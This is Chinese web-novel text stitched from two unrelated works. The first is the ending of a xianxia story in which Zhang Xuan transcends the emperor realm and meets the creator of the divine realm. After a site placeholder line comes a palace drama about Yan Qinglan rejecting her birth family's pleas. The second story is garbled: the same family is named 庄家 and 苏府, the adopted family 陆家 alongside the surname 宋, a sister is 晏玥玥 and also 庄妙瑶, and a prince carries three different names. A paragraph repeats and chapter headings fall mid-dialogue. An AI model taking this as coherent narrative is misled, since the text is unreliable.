看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第八十三章 庄家,血脉相连,却从未给过她半点家的温暖。陆家待她,倒是胜似亲人。 易地而处,他怕是也会做出同样的选择。 家? 晏子晏自嘲一笑,无爱,何以为家? 祖母与芸芸,确有几分真心,可杯水车薪,怎抵漫长岁月里的寒凉? 晏子晏心头失落,正欲抬脚去追,余光却瞥见浮萍居外,立着一道熟悉的身影。 竟是晏雨珩,他那位向来温润如玉的三哥。 晏子晏脚步一顿,心头涌上一股说不清道不明的滋味,既觉得意外,又觉得本该如此。 他远远看着,只见晏雨珩负手而立,目光落在浮萍居的门匾上,似是出神。 他的侧脸,在夕阳的余晖下,显得有些落寞。 晏子晏正犹豫着是否要上前,却见晏雨珩已然转过身,目光投向了晏清澜。 那眼神…… 依旧温和,却又多了几分不易察觉的探究与……挣扎? “四妹妹,”晏雨珩开口,声音一如既往的温润,却带着一丝不易察觉的迟疑,“三哥……能与你说几句话吗?” 晏清澜还未答话,宋明澜已然冷了脸。 “滚!”他沉声喝道,眉宇间尽是戾气,“我妹妹没空见你。” 他收起了面对宋溪溪和晏清澜时的憨厚,只余一脸漠然,冷冷盯着晏雨珩,眼底是毫不掩饰的厌恶。 这眼神,如同出鞘的利剑,锋芒毕露,与沙场之上,那个杀伐决断的少年将军如出一辙,让人不寒而栗。 宋溪溪的反应更是直接。她“蹭”地一下挡在晏清澜身前,小脸上写满了戒备。 “我说你们庄家人是不是有毛病?”宋溪溪双手叉腰,气鼓鼓地说道,“一个接一个的,没完了是吧?” “昨天那个自称大哥的,死皮赖脸地缠着阿清姐姐,今天又换你来?”她冷哼一声,语气里满是不屑,“当我们陆家没人了是吧?” 宋溪溪一边说着,一边暗暗活动着手腕,平日里的娇憨可爱消失得无影无踪,取而代之的是将门虎女的英姿飒爽,颇有其母傅清霁与晏清澜的风范。 晏雨珩显然没料到自己会受到这般对待,他愣了愣,眼中闪过一丝错愕,随即又被复杂的情绪所取代。 “阿清……”他看向晏清澜,声音低沉,带着几分不易察觉的委屈,“你当真……如此讨厌三哥?” 晏清澜觉得他这话问得莫名其妙。 她微微摇头,眼神淡漠,看向晏雨珩的目光,当真如看一个陌生人。 “讨厌谈不上,只是……与我何干?”她顿了顿,语气平淡,“三哥于我,不过路人而已。” 初来乍到,所谓家人便弃她于不顾,其中,便包括这位“三哥”。 那时不曾有过半分好感,如今,又何来厌恶? 她就一个亲哥,宋明澜。 晏雨珩身形一僵,脸色微微发白,眸中痛色一闪而过,脸上写满了难以置信。 “阿清……你……你怎会说出这样的话?”他望着晏清澜,声音里带着痛心,“你以前……明明不是这样的。” “以前?”晏清澜扯了扯嘴角,露出一抹讥诮的笑意,“你说的‘以前’,早就不在了。” “想知道为什么?”她抬手指了指苏府的方向,“去问你娘,问问她,当初都做了些什么。” 晏清澜语气平静,却如一把尖刀,直直刺入晏雨珩的心脏。 晏雨珩以为她还在说气话,眉头紧锁,摇了摇头,语气中带着一丝责备: “阿清,别闹了,你这不是好好的吗?怎么能说这种胡话?” 晏清澜只觉心头烦闷,她揉了揉眉心,强压下心头的躁郁,转头对宋明澜说道: “大哥,我们进去吧,不必理会。” 宋明澜本想直接将人轰走,眼不见为净,但既然晏清澜发了话,他便不再多言,只是沉声应道: “好。” 晏雨珩被这一声“大哥”刺得心头一颤,下意识地伸出手,想要阻止晏清澜离去。 “砰——” 晏清澜毫不犹豫地关门,全然不顾他的手是否会被夹到。 “啊!” 晏雨珩惊呼一声,本能地想要缩回手,却又硬生生止住。 “你……”晏清澜蹙眉,眼中闪过一丝不耐,“做什么?” 晏雨珩咬了咬牙,似是下了很大的决心,他看着晏清澜,声音里带着一丝恳求: “阿清,三哥今日前来,不是为了与你争吵,也不是为了那些陈年旧事。” “你……能不能听三哥把话说完?” “只要你说完,三哥说马上溜了,绝不纠缠你,好不好?” 晏清澜垂眸,发出一声轻笑,带着几分嘲讽。 “三哥这是何必呢?非要自讨没趣?”她看着晏雨珩那已然泛红的手,语气冷淡,“行吧,你说,我听着。” 晏清澜说着,手上用力,将门打开一条缝,自己却没有进去,只是站在门边,看着晏雨珩。 “大哥,溪溪,你们先进去。”她回头,对想要跟上来的宋明澜和宋溪溪说道,声音里带着不容置疑,“别污了耳朵。” 宋溪溪与宋明澜对视一眼,虽有些不放心,但还是依言进了院子,只留下一句“万事小心”,便不再多言。 晏清澜微微颔首,缓缓合上大门,将陆家兄妹隔绝在外。 “阿清……”晏雨珩看着紧闭的门扉,眼中闪过一丝落寞,“你当真……连让我进去坐坐都不肯吗?” 晏清澜抬眸,冷冷地看了他一眼。 “有话直说,别浪费时间。” 晏雨珩深吸一口气,似是终于下定了决心。 他看着晏清澜,眼神复杂,有愧疚,有不安,也有……恳求。 “阿清,我知道你还在生我们的气,可……可玥玥她是无辜的。” 他顿了顿,声音低了下去。 “皇上……皇上要将她赐婚给燕王,这……这不是把她往火坑里推吗?” 他抬起头,眼中满是焦虑。 “燕王是什么样的人,你我都清楚,玥玥她……她单纯善良,若是嫁过去,定会受尽折磨。” 他上前一步,语气近乎哀求。 “阿清,我知道,厉将军在皇上面前说得上话,你……你能不能求求他,让他帮玥玥说几句好话?” “哪怕……哪怕只是让皇上收回成命,让她不必嫁给燕王,也……也好啊。” 他字字句句,皆是为了晏玥玥,将一个疼爱妹妹的兄长形象,演绎得淋漓尽致。 晏清澜听了,却是冷笑出声。 “晏雨珩,你是不是忘了,我姓陆。” 她微微抬起下巴,眼神冷冽如冰。 “就算我当真姓庄,又凭什么要帮她?” “我双亲刚返回帝都,你就让我去求他们,冒着触怒圣颜的风险,去为一个不相干的人求情? 第八十四章 ” 她顿了顿,语气愈发冰冷,一字一句,如同淬了寒冰的利刃。 “旁人都不知道皇上要把晏玥玥嫁给童玄珏,我爹却巴巴地去求情,置陆家于何地?置我于何地?” 晏清澜上前一步,逼视着晏雨珩,声音冷得令人心底发寒。 “晏雨珩,你打的好算盘!” 她步步为营,小心筹谋,为的便是不让陆家重蹈覆辙,不让陆家落得原书那般满门抄斩的下场。 可晏雨珩倒好,竟想让她去劝厉宗玉在景元帝面前替晏玥玥求情! 他究竟是蠢,还是坏? 晏雨珩脸色煞白,眼中闪过一丝慌乱,似是不敢相信晏清澜竟会说出这样的话来,但很快,又被痛心所取代。 他当然知道这意味着什么! 他也当然知道陆家若是贸然开口,会引来怎样的猜忌。 只是…… 那又如何? 比起晏玥玥的安危,这些,都不重要。晏清澜缓缓抬起眼睫,唇边绽出一丝极淡的冷笑,像冬日里一闪而逝的阳光。 “晏雨珩,”她轻启朱唇,声音不高,却带着不容置疑的决绝,“我最后再说一次,我不会在爹娘面前替晏玥玥说半个字,你趁早死了这条心。” 晏雨珩身形一晃,仿佛被无形的力量击中,脸色瞬间褪去血色。 他瞪大了眼睛,死死盯着晏清澜,像是要从她脸上找出熟悉的痕迹,可最终,只剩下失望。 “阿清……”他声音嘶哑得厉害,每一个字都像是从喉咙深处挤出来,带着颤抖和痛楚,“玥玥……她可是你亲妹子!她还那么小,你怎么忍心……眼睁睁看着她往火坑里跳?” 晏清澜的目光冷得像淬了冰,没有一丝温度。 她嘴角微微上扬,勾勒出一个嘲讽的弧度: “她死不死,关我屁事?” “呵,”她轻笑一声,带着几分轻蔑,“当初要不是我命大,认识了陆家,你们怕是连我也算计进去了,巴不得让我替嫁吧?” 话音未落,晏清澜已经莲步轻移,一步步朝晏雨珩逼近。 她的动作很轻,很缓,却像带着千钧之力,每一步都像重鼓敲在晏雨珩心头。 他呼吸一窒,下意识地想后退,却发现双腿像灌了铅一样,动弹不得。 晏清澜的声音,冷冽如刀锋,一下下割在他心上: “求爹娘?替晏玥玥说情?你们算盘打得倒是精明!” “让我冒着被皇上猜忌的风险,去保一个无关紧要的人?”她顿了顿,一字一顿地问,“晏玥玥,她配吗?” 晏雨珩只觉得一阵晕眩,眼前这张脸,熟悉又陌生。 他拼命想要从她身上找出四年前的影子,那个会软软地叫他“三哥”的小姑娘,可记忆翻遍,最终定格的,却是此刻冷漠如霜的脸。 巨大的失落感如潮水般涌来,压得他喘不过气。他闭了闭眼,努力平复着翻涌的情绪,再睁开时,眼底已经恢复了几分清明。 他深吸一口气,强迫自己冷静下来,不再纠缠于晏清澜的冷漠,而是换了个方式,试图唤起她的同情心: “阿清,就算你不为玥玥考虑,也要为庄家想想。如今父亲和大哥刚刚回京,正是需要小心谨慎的时候。若是此时为了玥玥的事惹恼了皇上,庄家如何立足?” “我知道你怪我们当初送你离开,可那也是逼不得已。如今庄家需要你,你就不能……看在一家人的份上,帮帮我们吗?” 晏清澜听了,却只是冷笑。 “一家人?”她重复着这三个字,语气中满是嘲讽,“晏雨珩,你是不是忘了,我姓陆。” 她微微抬起下巴,眼神冷冽如冰。 “就算我当真姓庄,又凭什么要帮她?” “我爹娘才刚回京,你就让我去求他们,冒着触怒圣颜的风险,去为一个不相干的人求情?” 她的话像一记记耳光,狠狠地扇在晏雨珩脸上。 他张了张嘴,想要反驳,却发现自己无话可说。 是啊,晏清澜说得没错,她姓陆,她没有义务为了庄家牺牲自己。 晏清澜见他不说话,心中的怒火更甚。 她知道,晏雨珩心里或许也曾有过她这个妹妹,可那又如何?那点微薄的兄妹之情,在晏玥玥面前,根本不值一提。 她突然想起原书中,晏雨珩为了晏玥玥,是如何一次次将原主推向深渊的。 她眼中闪过一丝厌恶,冷冷地开口: “晏雨珩,别再跟我提什么兄妹之情。在我心里,你跟那些人没什么两样。” 她顿了顿,语气缓和了几分,却依旧冰冷: “不过,看在你曾经真心待我的份上,我可以给你指条明路。” 晏雨珩一愣,抬起头,眼中闪过一丝希冀:“什么明路?” 晏清澜看着他,一字一顿地说:“让晏玥玥离韩承煜远点。” 她没有再解释什么“燕王妃”“不够格”之类的理由,因为她知道,晏雨珩不是傻子,他听得懂。 果然,晏雨珩的脸色瞬间变得惨白。 他张了张嘴,似乎想说什么,却最终什么也没说出来。 晏清澜看着他的反应,就知道他已经明白了。 她冷冷一笑,转身离开,只留下一句话: “你好自为之吧。” 她没有再回头,也没有再给晏雨珩任何解释的机会。 她知道,自己已经仁至义尽了。 至于晏雨珩会怎么做,庄家会怎么选择,那都跟她无关了。 她能做的,只有保护好自己,保护好陆家。 至于庄家,是死是活,就看他们自己的造化了。 晏雨珩站在原地,望着晏清澜远去的背影,只觉得浑身发冷。 他知道,晏清澜说的没错,晏玥玥和韩承煜走得太近,的确不是什么好事。 可是,他又能怎么办呢? 晏玥玥是他的亲妹妹,他不能眼睁睁地看着她去送死。 他紧紧地握着拳头,指甲深深地嵌入手心,却感觉不到一丝疼痛。 他心中充满了迷茫和无助,不知道该如何是好。 许久,他才缓缓地叹了口气,转身朝着与晏清澜相反的方向走去。 他的背影,在夕阳的余晖下拉得很长,显得格外落寞。 晏清澜回了浮萍居。 刚进门,紫鸢便迎了上来,递上一封信。 “小姐,这是刚刚有人送来的。” 晏清澜接过信,拆开一看,是厉宗玉的笔迹。 信中,厉宗玉告诉她,他已经知道了晏玥玥的事情,让她不要担心,他会处理好一切。 晏清澜看完信,心中稍稍安定了一些。 她知道,厉宗玉既然这么说了,就一定会做到。 她将信收好,对紫鸢吩咐道: “去准备热水,我要沐浴。” 紫鸢应了一声,转身去准备。 晏清澜独自一人坐在桌边,望着窗外渐渐暗下来的天色,心中思绪万千。 第八十五章 她知道,接下来的路,会更加难走。 但是,她不会退缩,也不会放弃。 她一定会保护好陆家,保护好自己,绝不会让任何人伤害他们。晏清澜无意去深究自己是凉薄还是无情。 横竖,苏府上下一干人等是死是活,与她何干? 她既没有舍身相救的义务,更没有以命相抵的觉悟。 之所以出言提醒晏雨珩,无非是不想再被这些破事纠缠。 仅此而已。 “往后,”晏清澜看着眼前这个面色灰败,脚步虚浮的男人,声音冷淡,“别再来跟我说这些有的没的,苏府不是我家。” 她停顿片刻,又补充道: “我有哥哥,也有妹妹。” 他们姓陆,是她的家人。 哥哥叫宋明澜,妹妹叫宋溪溪,仅此二人。 晏雨珩只觉心口一阵阵抽痛,像是被什么钝器反复捶打,又像是被细密的针尖来回穿刺,疼得他几乎喘不过气。 他死死盯着晏清澜,试图从她脸上捕捉到哪怕一丝一毫的怨怼,哪怕一丝一毫的赌气。 然而,什么也没有。 那双眼睛里除了冷静,还是冷静。 以及,拒人于千里之外的疏离和冷漠。 冷得让人心底发寒。 晏雨珩已经不记得自己是如何离开的。 浑浑噩噩,失魂落魄。 他只知道,自己这个四妹妹,当真变了。 “戏也看够了,还不出来?” 晏清澜头也未回,只淡淡扫了身后一眼, “怎么,非得我点名?” “晏子晏,你这躲躲藏藏的,有意思?” 话音落下,晏子晏这才不情不愿地从假山后头绕了出来,脑袋耷拉着,像只斗败的公鸡。 他摸了摸鼻子,干咳两声,掩饰着自己的尴尬: “你……你啥时候发现我的?” 晏清澜翻了个大大的白眼。 “你那两下子,也好意思在我跟大哥面前卖弄?” 她嗤笑一声, “早就知道你跟在后头,不过是懒得搭理你罢了。” 晏子晏噎了一下:“……” 倒也不必把话说得这么难听。 晏清澜原本是真不想理会庄家这群人。 所以,哪怕知道晏子晏一路尾随,她也权当不知。 可是现在,她改变主意了。 这些人,阴魂不散,纠缠不休。她实在没有耐心继续跟他们虚与委蛇。 索性一次解决干净。 晏清澜朝他抬了抬下巴,开门见山: “怎么,你也是来替你大哥抱不平的?还是跟晏雨珩一样,让我去给晏玥玥求情?” 晏子晏嘴角抽搐了两下,连忙摆手。 “别别别,你可别误会。” 他赶紧澄清, “你和三哥说的话,我都听见了。你放心,等我回去了,必须让爹他们远离周王才行。” “至于晏景文嘛……” 晏子晏话锋一转,语气里竟带上了几分幸灾乐祸, “嘿,要我说,你打得好!不过下次下手可以再重点,最好让他十天半个月下不了床!” 晏清澜:??? 这是什么走向? 她打了晏景文,晏子晏不该跳脚吗? 难不成这两天处理生意太累,自己都出现幻听了? 晏清澜忍不住抬手揉了揉太阳穴。 晏子晏见她这副活见鬼的表情,顿时有些不乐意了。 “你那是什么眼神?觉得我在说假话?” 他撇了撇嘴, “我跟晏景文那个老顽固可不一样!” “一天到晚就知道之乎者也,女子这,女子那,烦都烦死了。” 晏子晏越说越来劲, “大家都是人,凭什么女子就不能骑马射箭,抛头露面了?” “我憋着要锤他很久了,可谁让那是我大哥呢,总不能真动手吧。” 说着,他竟朝晏清澜挤眉弄眼, “说起来,多亏你帮我报了这口仇!” 晏清澜一时无言以对。 她疲惫地捏了捏眉心。 “那你鬼鬼祟祟跟着我做什么?” 晏子晏的气势顿时弱了下去。 他垂下头,盯着自己脚尖,像个做错事的孩子,半晌不吭声。 晏清澜也不催促,就这么静静地等着。 过了许久,才听见他用低不可闻的声音,缓缓开口: “那个……阿清,对不住。” 晏清澜几乎以为自己听错了,转头看他: “你说什么?” 晏子晏深吸一口气,像是用尽了全身力气,猛地抬起头,大声道: “我说,对不住!” 这三个字,仿佛抽干了他所有的精气神,整个人都萎靡了下来。 他声音很低,带着几分不易察觉的颤抖: “我今儿个算是看明白了,宋明澜对你是真的好,他……才像个哥哥的样子。” 他顿了顿,声音更低了, “比我……强多了。” 夏日的风,夹杂着一丝燥热,将他的声音送进晏清澜的耳中。 “阿清,以前的事……是我不对。我不该总为了玥玥欺负你,更不该动不动就对你甩脸子,说难听话。” 晏子晏的声音越来越低,头也越来越低, “往后……不会了。我保证,再也不会欺负你了。也不会不分青红皂白就冤枉你。” “我……我知道自己做不了好哥哥,但至少,我得做个……好人。” 晏清澜定定地看着他,沉默不语。 她没有回应,只是目光沉沉地扫过晏子晏的脸,然后,转身离开。 “大哥和溪溪还在等我,你……好自为之。” 晏子晏站在原地,看着她决绝的背影,嘴唇动了动,终究什么也没说。 他没奢望能得到原谅,只是这句“对不起”,他憋了一路,再说不出来,他怕自己会憋出病来。 他始终亏欠她一个对不起。 欠了太久太久。 他抬头,朝浮萍居的方向望去。 只见宋明澜和宋溪溪正站在门口,不时朝这边张望,脸上写满了担忧。 晏子晏苦笑一声。 他突然觉得晏雨珩很可笑。 “家人”? 他们算哪门子的家人? 有这样对待家人的吗? 若是他们能有宋明澜一半真心,她又怎会走到今天这步? 晏子晏的身影渐渐远去。 晏清澜却停下了脚步,站在原地,思绪有些飘忽。 她知道晏子晏的道歉是真心的。 可真心又如何? 许多事情,一旦发生,便再也无法挽回。 她不是圣母,做不到以德报怨,更何况,这份怨,本就不是她该受的。 她想起了前世看过的一本小说,里面有个和她同名的炮灰女配,同样不受家人待见,最后落得个惨死的下场。 女配死后,她那个所谓的哥哥才幡然醒悟,悔不当初。 这一切还有什么用呢? 人死不能复生,再多的悔恨,也换不回一条鲜活的生命。 迟来的深情,比草都轻贱。 更何况,她不是那个已经死去的女配。 她是晏清澜,一个全新的,独立的个体。 她有自己的喜怒哀乐,有自己的爱恨情仇,更有自己想要守护的人。 第八十六章 至于庄家,与她何干? 一片枯叶打着旋儿飘落,轻飘飘地落在晏清澜的鞋面上。 她低头看了一眼,没有理会。 一阵风吹过,将那片枯叶卷起,吹向了远方。 晏清澜抬起头,眼神逐渐变得坚定。 她转身,朝着宋明澜和宋溪溪的方向大步走去。 宋明澜和宋溪溪也第一时间迎了上来,神色关切。 “阿清,你没事吧?” 宋明澜一边问,一边上下打量着她,生怕她受了什么委屈。 宋溪溪则亲昵地挽住她的胳膊,围着她转了一圈,仔仔细细地检查了一番,确认她毫发无损,这才放下心来, “阿清姐姐,他们是不是又欺负你了?” 晏清澜摇了摇头,唇角微微上扬,露出一抹轻松的笑容: “没事,都解决了。走,咱们回家。”晏子晏跌跌撞撞,几乎是逃回苏府的。 晏清澜最后那一瞥,像一把裹着寒冰的尖刀,直直扎进他心里。 那眼神冷漠至极,仿佛在看一个陌生人,又像是在看路边的一粒尘埃,无足轻重。 她和晏雨珩说的话,每一个字都重重敲在他心上,振聋发聩。 他听懂了。 那话里明明白白地写着:想保庄妙瑶,保庄家,就离那些皇子们远一点,别再痴心妄想攀龙附凤。 晏子晏一直看不上几个哥哥,他们成天围着二皇子周王转,奴颜婢膝,丑态百出。 他也烦庄妙瑶没事就往韩承煜跟前凑,不知是真情还是假意。 母亲钱雅芝总骂他没出息,说他是个只知道吃喝玩乐的纨绔子弟,烂泥扶不上墙。 他不在乎。 他宁愿当个快活的废物,也不想跟那群人一样,戴着面具,虚情假意,活得人不人鬼不鬼。 可现在不行了,庄妙瑶的命,庄家的未来,都悬在一根线上,危如累卵。 他不能再由着性子来了,他得做点什么。 晏子晏心乱如麻,脚步越来越快,几乎是冲向了钱雅芝的院子。 他有一种强烈的预感,他那个娘,心里还憋着坏呢。 她肯定还没死心,还想让晏清澜替庄妙瑶去送死,简直是异想天开。 可现在哪是谁嫁谁娶的问题? 这是皇上在敲打庄家,要给庄家一个下马威! 娘要是再拎不清,那就是把整个庄家往火坑里推,万劫不复! 他必须拦着她,不能让她再错下去! 晏子晏风风火火地到了院门口,正好瞧见一个小丫鬟在扫地。 他无意间一扫,目光却定住了,再也挪不开。 地上,躺着一个脏兮兮的香囊,孤零零的。 那香囊的绣工实在不敢恭维,歪歪扭扭的,针脚粗糙,勉强能看出是个太阳。 小丫鬟拿着扫帚,就要把它扫进簸箕里,当垃圾一样处理掉。 “住手!”晏子晏低喝一声,声音都变了调,快步上前。 他弯下腰,小心翼翼地捡起那个香囊,用手帕一点点擦去上面的灰尘。 他的动作很轻,很温柔,像是怕弄疼了它,又像是对待什么稀世珍宝。 “没想到……还能再见到这个。”晏子晏的声音沙哑得厉害,像是喉咙里堵了一团棉花,发出的声音都带着颤抖。 这是晏清澜做的香囊。 当年,她费尽心思给晏雨兮做的。 她是家里的老幺,可她只给晏雨兮做了这个,独一份的。 香囊上绣着一个丑丑的太阳,歪歪扭扭,她估计是想表达,晏雨兮是她的光吧,能照亮她小小的世界。 